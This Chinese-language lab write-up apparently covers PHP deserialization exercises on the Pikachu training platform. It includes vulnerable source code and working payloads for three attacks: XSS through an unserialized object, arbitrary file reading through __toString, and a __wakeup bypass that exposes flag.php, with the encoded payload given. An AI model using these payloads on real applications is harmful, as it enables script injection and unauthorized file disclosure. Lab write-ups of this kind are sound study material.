pikachu平台反序列化漏洞
第一题:反序列化漏洞输出XSS
地址:https://www.bihuoedu.com/vul/unserilization/unser.php
查看unser.php文件的源码:
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
构建反序列化字符串:O:1:"S":1:{s:4:"test";s:29:"<script>alert('shy')</script>";}
提交构建反序列化字符串:
源码当中的第64行输出了成员变量的值,因此造成了xss漏洞。
反序列化的对象无法调用构造函数。
第二题:反序列化文件读取
地址:https://www.bihuoedu.com/vul/unserilization/readfile.php
// 当他的对象被输出时候,调用__toString
class FileClass{
public $filename = 'error.log';
// 返回读取一个文件的内容
public function __toString(){
return file_get_contents($this->filename);
}
}
class User{
public $age = 0;
public $name = '';
public function __toString(){
return "User $this->name is $this->age years old";
}
}
$obj = unserialize($_GET['user_serialize']);
echo $obj;
// 序列号 把对象转换成字节流
// serialize($obj)
// 反序列号 把字节流转换成对象
// unserialize($obj)
读取readfile.php文件
第三题 CTF题1
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?> #<!--key in flag.php-->
源码分析:
- 1,根据注释给的提示,key在flag.php文件当中。
- 2,类SoFun中定义的析构函数可读取文件,文件名过滤了\\和/
- 3,允许用户传入参数并进行反序列化
- 4,反序化时会调用__wakeup()函数,给变量$file重新赋值index.php
解题思路:
绕过__wakeup()方法,在反序列化时不要调用__wakeup()方法。
关键点:
我们传入的序列化字符串中对象属性个数大于真实的对象属性个数的时候,就会跳过__wakeup()方法的执行。
直接访问:
根据提示直接访问flag.php,无法获取flag
根据之前源码分析结果,构建序列化字符串:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
将序列化之后的字符串在网页中进行提交,要先进行base64编码和url编码:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ%3d%3d
坑点:复现用的环境是PHP7 应该修复了这个绕过wakeup的方法,后门切换到PHP5的时候成功复现成功。